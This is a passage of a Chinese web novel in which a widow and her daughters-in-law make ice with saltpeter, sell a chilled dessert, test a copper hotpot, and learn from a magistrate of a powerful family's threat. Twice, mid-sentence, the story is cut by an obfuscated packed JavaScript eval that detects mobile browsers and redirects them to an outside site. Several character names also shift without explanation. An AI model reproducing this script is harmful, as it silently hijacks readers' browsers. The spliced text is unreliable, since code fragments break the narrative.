她先去了杂货铺,掌柜的是个留着山羊胡的老头,见秦嘉言进来,笑着打招呼:“呦,是秦娘子啊?您那案子怎样啦?今天想来买点啥?” 52. 第 52 章 “还没有消息,等贾大人的信儿呢!唉!贾大人走这一阵子,这镇里都被刘舫那小人嚯嚯完了,贾大人得一件一件审理呢!”秦嘉言叹了一口气,接着问道:“掌柜的,你这儿有硝石不?我要多来点。” 掌柜听到她想要的东西愣了一下:“啥?硝石?你要那东西干啥?是入药的么?这东西平时可没人买,放着都快一年了,也没卖出去几两。” “哈哈,那你今天可有大主顾了,帮我找出来把,先称五斤。”秦嘉言笑着说。 掌柜的赶紧去里屋翻找,一会儿就从屋里拿出一个破布包,放在秤上称了称:“一共五斤,不多不少,给五十个铜板吧。我一共也就这些,全被你包了” 秦嘉言付了钱,又问:“掌柜的,你这有大一点的瓷盆吗?我还想要一些稻草。” “有,瓷盆在上面,我一会给你拿,稻草后院多的是,你要多少自己拿多少就是,不要钱。”张掌柜指了指柜子上的大瓷盆给她取下来,又指挥着秦嘉言去后院拿了一大捆稻草。 付完钱,她拿着一捆稻草,手里拎着一大堆东西往回走,路上遇到了隔壁的金老板,金老板笑着问:“秦娘子,买这么多东西干啥呀?” “这不没什么事么,做点东西。还不知道能不能成呢。”秦嘉言笑着应道。 “看来您这是又要捣鼓什么新鲜玩意了,要是有好的,别忘了我哦!”金老板赶紧过去帮她把稻草拿着 “那不能忘,放心吧,少了谁也不能少了你的!”秦嘉言真心的甘心眼前这个胖乎乎的人,之前卖金蛋卤煮的时候,这人就没少帮忙。自己家被郭宜那群人打砸的时候,也是这个人第一时间帮忙作证。 两人说说笑笑很快就到了‘聚鲜馆’门口。金老板把东西放到大门口,就拍拍肚子离开了。刚进屋,三个儿媳妇就围了上来,赶紧上前帮忙把东西拎进后院。“娘,您买了这么多东西啊?早知道我跟您一起去了,帮着你提着东西也好啊。” 刘菇刚想上前摸摸那袋硝石,“娘,这就是你说的那个能制冰的东西?看看起来挺普通的呀。” 秦嘉言连忙拦住了她:“别拿手碰,这东西有点凉,先放着不要动。” 秦嘉言把刚买的个大瓷盆拿出来,又从后院找了一个小的瓷盆放上去,周围铺上稻草,又把小一点的瓷盆放在大瓷盆上面,两个瓷盆之间留了点缝隙。 “定馨,你帮我把硝石倒进缝隙里,尽量铺匀点,拿勺子往里面舀就行,尽量别沾到手。”她指挥着大儿媳妇,自己则去井里打了些凉水,倒进上面的小瓷盆里。 “娘,这样就行啦?看起来好简单。”刘菇凑过来看,眼睛瞪得大大的。 “还没完呢,哪能这么快。”秦嘉言又往缝隙里加了点水,“顾毅说这硝石遇水会吸热,过一会就能把上面瓷盆里的水冻成冰了。咱们得等一会儿看看是不是真的能成功,别老碰这瓷盆,太凉了。” 几个人都围在瓷盆旁边,认真的盯着里面的水,看能出现什么奇迹。李定馨细心,还找了块干净的棉布盖在上面,防止灰尘掉落在里面。 刘菇时不时伸手摸一下瓷盆外壁,“娘,好使,还别说这瓷盆真的凉了,我摸着比井水都要冰呢。” 陈玉桂也想摸,被秦嘉言拦住了:“你可别乱摸,你还怀着孩子呢,这盆太凉了,对你不好,你还是离远点。” 大概过了一个时辰,秦嘉言掀开布,往大瓷盆里一看,眼睛瞬间就亮了,那个瓷盆里面的水真的结成了冰,虽然不算太厚,但确实是实实在在的冰。 “成了!成了,还真的好使,我们真的做出冰来了!”她高兴地说。 刘菇赶紧凑过去看,伸手小心翼翼地摸了摸冰面:“冰!真的是冰!娘,您太厉害了!这大热天的,居然真的做出冰来了!我的天啊!这也太厉害了吧!”她的声音都有些激动,笑得格外开心,脸都笑的红扑扑的。 李定馨也笑了,脸上露出惊喜的神情:“娘,有冰太好了,这下咱们鱼丸有救了,放在冰上镇着,好几天都不会坏了。” 秦嘉言笑着点头:“嗯,那肯定的,来你看看是不是特别凉。”她找了把小勺子,敲下来一小块冰,递给李定馨。 她接过冰,冰凉的触感让她忍不住打了个哆嗦,但脸上笑得特别开心:“娘,真的好凉啊!跟冬天的冰没什么区别,冰冰的!” 秦嘉言看着冰,忽然又想到了什么:“有了冰,咱们可以做冰酥酪,冰镇糖水之类的东西,现在天气虽然凉了,但中午也热得很,说不定能很受欢迎。” “冰酥酪?什么是东西?吃的吗?好吃不?”刘菇好奇地问,手里还拿着那块快化了的冰。 “就是用牛奶喝酒酿做成的甜品,淋在冰上,可好吃了,解暑,还不腻。”秦嘉言解释道,“反正现在也没什么事,我们可以试试做着看。定馨,你去拿点牛奶来;玉桂,找些白糖;刘菇,你把之前店里剩下的酒酿拿过来。” 三个儿媳赶紧分头行动,翠兰去厨房拿了一小罐牛奶,是前几天从隔壁养牛户家里买的,一直放在井里镇着;李梅找来了白糖,还顺便拿了个干净的小碗;春桃则跑去屋里,把昨天做的酒酿抱了出来。 秦嘉言把牛奶倒进一个小碗里,加了些白糖,又舀了一勺酒酿进去,用勺子搅绊均匀。“把这个碗放在冰上,镇半个时辰,冰酥酪就做好了。直接就能吃,简单吧!”她把小碗放在装冰的瓷盆里,又在碗周围撒了点碎冰,“这样凉得更快。一会你们都试试看。” 刘菇蹲在旁边,眼睛一眨不眨地盯着小碗:“娘,这样就好了?牛奶加酒酿那得是什么奇怪的味道啊?能好吃吗?” “娘的手艺什么时候差过,肯定错不了。”李定馨笑着拍了拍刘菇的肩膀,“一会好了,我和玉桂先试试,你要是怕不好吃,可以等我们尝完了告诉你味道后再说。” “那可不行,我可是要试第一份,娘做的东西肯定差不了。”刘菇撅着嘴说。 等了半个时辰,秦嘉言把小碗从冰上拿出来,碗壁上结了一层薄薄的冰碴,里面的牛奶已经凝固成了半固体状,散发着淡淡的奶香味和酒酿的甜味。“这就好了,你们都过来尝尝吧。” 刘菇第一个伸手,秦嘉言给她舀了一勺,她赶紧放进嘴里,冰凉的触感瞬间传遍全身,甜而不腻,还有淡淡的酒酿香,口感细腻顺滑。她眼睛一亮,直呼:“好吃!太好吃了!娘,这冰酥酪也太好吃了吧!比糖糕还好吃!大嫂、二嫂你们也赶紧尝尝!” 李定馨也尝了一口,点点头:“确实好吃,凉丝丝的,要是盛夏的时候吃这个,这得多解暑啊。” 陈玉桂细细品着,说:“甜度刚好,奶香味也足,要是拿到铺子里卖,肯定有人买。娘,你这手艺也太无敌了吧!” 秦嘉言看着大家的反应,心里有了主意:“那咱们就做这个冰酥酪卖,正好鱼丸我还有其他用途,明天在店门口摆摊试试,等着贾大人把案子判完,咱们家的饭馆就能正好开业了。” 李闻生刚好从外面回来,看见满院笑呵呵的女人问:“娘,你这是有要卖啥?你又做好吃的了?” 李定馨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478180|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶紧把冰酥酪递给他:“相公,你尝尝,这是娘新作的冰酥酪,可甜可好吃了,娘说要放在铺子里面卖。” 李闻生就着媳妇的手,尝了一口,眼睛一下子就亮了起来:“好吃,我这个大老爷们也觉得好吃,不想糖糕那么腻人,真不错。” 李玉生吊着个胳膊从屋里出来,也凑过来尝了尝:“好吃,冰冰的,现在天气还不算太凉,中午的时候日头还嗮得很,咱们就中午卖,肯定会有人买的,就那些个大户人家的小娘子,最喜欢这样甜滋滋的东西了。” 陈玉桂算了算账:“牛奶、白糖、酒酿,这些东西成本不算高,要是能卖得贵点,能赚不少银子呢。” 刘菇连忙道:“娘,我能帮你做,这冰酥酪制作方法简单,我肯定也能做好的。” 秦嘉言笑着点头:“行,那就这么说定了,大家都试着搭把手,早点赚到银子,咱们就不用等贾大人那边,直接就把咱们的饭馆修理好!”大家一听,都高兴起来,院子里又是一片欢声笑语。 接下来的几天,一家人忙着做鱼丸和冰酥酪,李定馨和陈玉桂负责做鱼丸,刘菇则是帮忙做冰酥酪。鱼丸做好就直接冰冻起来,冰酥酪则直接拿到前面饭馆的大街上去叫卖。 没想到,冰酥酪一上架就卖火了,镇上的人都好奇这新鲜玩意儿,尝过之后都说好吃,不少人还回头再来买,有的大户人家甚至提前预定,让他们每天送些过去。 十天很快就到了,秦嘉言带着李闻生一大早就去了铁匠铺,铁匠师傅已经把火锅全部做好了,是个整个黄铜做的火锅,看着亮闪闪的,中间有个烟囱,大小正好,比秦嘉言想象的还要好。 “师傅,这就是我想要的样子,你这做的也太好了!”秦嘉言拿着一个铜火锅用手直摸。 “我这也是改了好几遍,你说的这玩意可挺费功夫的,我带着所有徒弟研究了好几天,还行,总算是赶出来了,不枉我费了这么多天的心思。”铁匠师傅笑着说。 秦嘉言付了剩下的钱,和李闻生把所有的铜火锅都放在里驴车上,拉回家。一路上,不时的有人指指点点,这‘聚鲜馆’又弄出什么名堂了? 刚到聚鲜馆的大门,就被外面摆摊的刘菇看到了,她兴致匆匆的跑过来,也不管摊位上还在排队的人,嚷嚷道:“娘,你这是和大哥又弄什么去了?这就是你说的那个什么锅?瞅着可真好看。” “这就是火锅,等冬天吃,可暖和了,还特别好吃。”秦嘉言示意李闻生帮着刘菇把剩下的冰酥酪卖了,自己喊了李水生和李定馨他们帮着把火锅都搬到了后院。 “娘,这就是火锅?咋吃啊?”李玉生也跑过来伸手摸了摸火锅,冰凉的铜面滑溜溜的。 “可简单了,今天赞赏,咱们一家人先试一试。”秦嘉言笑着说,“定馨,一会你去喊你相公去买些羊肉、青菜、豆腐,再买些粉丝。” “唉!”李定馨应了一声,连忙跑出去喊李闻生。 “这东西的精妙之处在于蘸料,一会你把家里的小磨盘找出来,我要磨点芝麻酱。”秦嘉言交代李水生。 傍晚的时候,东西都准备好了,李闻生买了一大块羊肉,被秦嘉言切成了薄薄的肉片,还买了菠菜、白菜、豆腐、粉丝,摆了满满一桌子。 秦嘉言还调了好几种调料,芝麻酱、韭菜花、红腐乳,还有炸好的蒜末,全都码放在小碗里,五颜六色的,看着就有食欲。 秦嘉言往火锅的中间添了几块烧红的木炭,又在外面的一圈里倒了些下午熬好的骨头汤,盖上盖子,等着汤烧开。 53. 第 53 章 天擦黑时,李家‘聚鲜馆’的后院还冒着烟,混着晚风里的寒气,飘出股子炖肉的味儿。 秦嘉言把铜火锅摆在了院子中央的桌子上,火锅里的骨汤翻滚着,咕嘟咕嘟直冒热气,她想了想又转身在锅子里面抓了一把辣椒和花椒。 今天太晚,来不及将料炒出红油,等明天有空多弄些油脂回来把这些辣椒、花椒拿用榨好的料油一炒,那滋味才叫绝! “娘,这就是你说的火锅?这里面除了汤什么都没有啊?咋吃啊?”李玉生一边耷拉个肩膀一手扒着桌子角探头往桌子上看。 李闻生看他那样子,没好气的一笑:“怕啥?还能吃了你不成?瞅你那胆小的样子,这就是普通的锅子,又不会吃人。” 秦嘉言笑着站起来,拍了拍身边的桌子:“大家都赶紧上桌吧,闻生你去把顾毅喊出来,水生,你去后门那边喊一声,叫柳娘子和福贵都一起过来吃饭。” 不一会,柳娘子和福贵都跑了过来,他们家离这里很近,赶过来的时候,连锅里的骨头汤还没滚开呢! 福贵抬头看了那奇怪的锅子一眼,好奇的都要伸手去摸:“秦婶子,这是什么啊?我长这么大还是第一次见到这样奇怪的锅子,这下面也没火,锅里怎么就要滚开了?。” 柳娘子有些不好意思的用围裙擦了擦手,李家这‘聚鲜馆’已经一周没有开门了,但工钱还是一分不少的照样给,她都有些不好意思了。她小声喃喃道:“管它是什么锅,能开业就好,在这样闲下去,我们都要长毛了。” 李定馨扶着陈玉桂往桌子的一侧坐下。陈玉桂怀了五个月的身孕,这阵子属实非常忙碌,累得有些腿软。这会儿她坐定了,手轻轻放在肚子上,看着那新奇玩意,觉得疲劳瞬间减了大半:“娘,我听大嫂说,咱们不等县衙那边了?又这火锅不日就能重新开张了?” 秦嘉言笑了笑刚要回答,就听见前院的门被打开的声音。她转头一看,是顾毅过来了。自从她家租用了柳娘子那个院子之后,秦嘉言嫌前面饭馆太吵,影响他读书,就让他也也一起搬了过去。 他穿着件洗得发白的青布长衫,手里提着个纸包,见了院里的热闹,脚步顿了顿,随即拱手:“秦娘子。” 秦嘉言笑着招手:“顾毅来了?怎么不从后门直接过来?我弄了新吃食,你正好帮我看看怎么样?” 顾毅走进来,把纸包递给她:“刚才路过糕点铺,见有你爱吃的枣泥糕,就买了点。”他目光扫过桌边,脚步往她那边挪了挪,轻声问:“近来天气凉了,你记得多加些衣服才是,前几日我同你说的那制冰方法,你让闻生他们弄,你别太贪凉。” 秦嘉言打着他的旗号,弄出了冰块,当天晚上就端着一碗冰酥酪去找他,和他仔细讲了这事,免得日后漏了陷。 秦嘉言点点头,毫不在意的说:“没事,反正过些日子天气就凉了,那些冰块就用不上了,也就这几日能弄点,你别操心了。” 李闻生在旁边看得清楚,微微皱起了眉。 刘菇嘴快,凑过去跟陈玉桂咬耳朵:“二嫂,你不觉得这顾秀才对娘太好了?就算是娘当初救了他,这也太……”话没说完,就被陈玉桂用眼神制止了,只好吐吐舌头,转头去看桌上的菜。 秦嘉言把枣泥糕放在桌上的空盘子里,又拿了双干净筷子给顾毅:“别站着了,赶紧坐,闻生,给顾先生倒杯茶。” 顾毅坐下时,目光不自觉落在秦嘉言身上。她正拿着长筷子往锅里下肉片,动作麻利,嘴角带着笑,鬓角沾了点炭灰也没察觉。他心里动了动,想提醒,又怕唐突,只好端起茶杯抿了口,掩饰着心慌。 “好了好了,这么涮几下,肉变色了就能吃了!”秦嘉言话音刚落,李玉生就迫不及待夹了片肉,刚进嘴就烫得直吸气,又舍不得吐,含糊道:“好吃,比炒的肉嫩多了,娘,赶紧在给我烫一块,太香了!” 李定馨也夹了块鱼丸,嚼得咯吱响:“还有这鱼丸,还带馅的,咬一口都能爆出汤汁,鲜得很!娘,等咱们酒楼开了业,就卖这个火锅,保准天天有人排队!” 福贵嘴里塞满了菜,含混不清地附和:“可不是嘛!之前饭馆开门的时候,排队都排到街尾去了,这要是加了这火锅,说不定得排到城门口去!” 柳娘子吃得斯文,每口都细嚼慢咽,也跟着点头:“秦娘子这手艺太好了,尤其这丸子,比别人做的好吃多了,而且这火锅新奇的很,卖它肯定受欢迎。” 李定馨没怎么说话,手里的筷子一直往陈玉桂碗里夹菜:“玉桂,你多吃点,补补身子,也别光吃肉,不好消化。多吃点这个丸子和豆腐。”陈玉桂捧着碗,眼眶有点红:“大嫂,我自己来就行,你也吃。” 秦嘉言看在眼里,心酸了一下,连忙起来给陈玉桂舀了勺清汤:“玉桂,你别光顾着吃菜,喝点汤暖暖。你怀着娃,可不能冻着。” 顾毅放下筷子,帮秦嘉言往炉子里添了块炭,低声道:“炭够不够?不够我去灶房拿。” 秦嘉言抬头看他,刚好对上他的眼睛,那眼神温温的,像炉子里的火。她愣了愣,随即笑道:“够了,刚添过。你也多吃点,看你最近都瘦了,是不是读书太辛苦?” 顾毅嗯了一声,耳尖有点红,拿起筷子夹了片青菜,却没怎么动。 正热闹着,院门口突然传来“咚咚”的敲门声,还伴着个爽朗的声音:“秦娘子在家吗?” 秦嘉言愣了一下,这声音有点熟。她起身去开门,刚拉开门栓,就见个圆滚滚的身影挤了进来。 原来是贾胥,他穿着件藏青色的官袍,肚子挺得高高的,哈哈笑道:“秦娘子,好香的味儿啊,你们这是做什么好吃的呀?本官可是真闻着味儿就过来了!” 屋里的人都吓了一跳,他们没想到县太爷能到他们这小院子里来,都有点不知所措。福贵“噌”地站起来,手都不知道往哪儿放;柳娘子更是直接站到了桌边,低着头不敢说话;李玉生嘴里的肉都忘了咽,瞪着眼睛看贾胥;李定馨赶紧扶着陈玉桂往旁边挪了挪,生怕冲撞了县官。 贾胥见众人紧张,连忙摆了摆手:“你们都别紧张,本官就是路过,闻着你们这院子里的香味,想来蹭顿饭,都别紧张,赶紧坐下啊。” 他说着,自己找了个空位坐下来还招呼其他人赶紧坐:“这几天一直在处理公务,刘舫那厮真是王八蛋,我一查,这些年竟然让他钻这么多空子。坑害不少人啊。” 他拍拍肚子,笑呵呵的说:“这不,忙叨一天,连晚饭都没吃上,我这也饿的不行了。还希望秦娘子不要嫌弃在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510773|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下叨扰。” 秦嘉言反应过来,赶紧去拿碗筷:“哪里的话,贾大人这是为国为民,民妇感动还来不及呢!定馨你赶紧给贾大人倒杯茶。” 贾胥接过茶,喝了一口,目光落在锅里的火锅上,眼睛一亮:“这是什么吃食?我从来就没见过,看着倒是挺新鲜的。” “回大人,我管这叫火锅,是我琢磨出来的新吃食,你看着铜锅中间是空的,加上碳火之后,里面的汤就能一直沸腾,不会熄灭,把这薄薄的肉片丢下去,用筷子涮两下就熟了,不管什么时候吃都是热乎的。”秦嘉言把涮好的一片肉沾上了酱料递给他碗里,“大人尝尝?” 贾胥也不客气,拿起筷子就夹了片肉,放进嘴里嚼了嚼,当即竖起大拇指:“好!好吃!太香了,这肉滋味十足,裹着你这酱料,连一点膻味都吃不出来。来来来,我自己涮一片试试” 李定馨胆子大了点,笑着说:“大人,我娘正想把咱家的饭馆从新开业呢,这火锅就打算做主打菜,到时候您可得多多捧场。” “这么快就要重新开张了,那可真是好,我肯定去!”贾胥笑着应了,又转头看向秦嘉言,神色正经了些,“说起来,秦娘子,你家那案子,我也有些眉目了。” 秦嘉言心里一紧,手里的筷子顿了顿:“真的?那太好了,早一天解决,我也能早一天放心。” “我也是想快点都结束这些,好早日能回京里,这些天京里那头已经派人送信来催了。”贾胥放下筷子,喝了口茶,“打砸你家饭馆的郭宜,已经被我抓到大牢里了,人证物证都齐全,本想择日就审理。” 屋里瞬间安静下来。李玉生攥紧了拳头:“太好了!抓得好!”刘菇也跟着点头:“这种人就应该抓起来,一辈子都不给他放出来!” 顾毅看着贾胥的样子皱起眉头:“贾大人,既已抓人,为何您的神色不对?” 贾胥叹了口气:“哎,顾先生真是慧眼如炬。我本想即可审理,可这两天总兵府的人没少来我这儿疏通,又是送礼又是说情,想让我徇私放了他。” 秦嘉言的心沉了沉:“总兵府?他们这是要将你也拖下水啊?” “可不是么。”贾胥撇了撇嘴,“那老东西势力大得很,京城那边也有他的人。别看我现在升职在京中,眼看这调职的文书就要下来了,等到文书一下,我就没办法在审理了。今天听说他亲自来了县城,要找我问话,我赶紧躲出来了,假装不在府里。” 陈玉桂听得脸色发白,下意识摸了摸肚子。李定馨赶紧握住她的手,低声安慰:“别着急,又娘在呢,何况这是大家的事,你别担心。” 贾胥看了她一眼,又看向秦嘉言,语气严肃了些:“秦娘子,我今天来,一是蹭饭,二是给你提个醒。你们一家最近都谨慎点,尤其是你。我近期就要升堂了,到时候事主必须到,要是你不到,郭宜那边肯定会找借口说没有事主,到时候他就能无罪释放。” “那总兵府的人,会不会对我娘不利?这......这可怎么办!”李玉生急了,往前凑了凑。 贾胥点头:“不好说。总兵在我这儿找不到路子,说不定就会把手段放在你家这边。要么逼你撤案,要么……总之,你们可得小心。晚上锁好门,出门也多带个人,别单独行动。”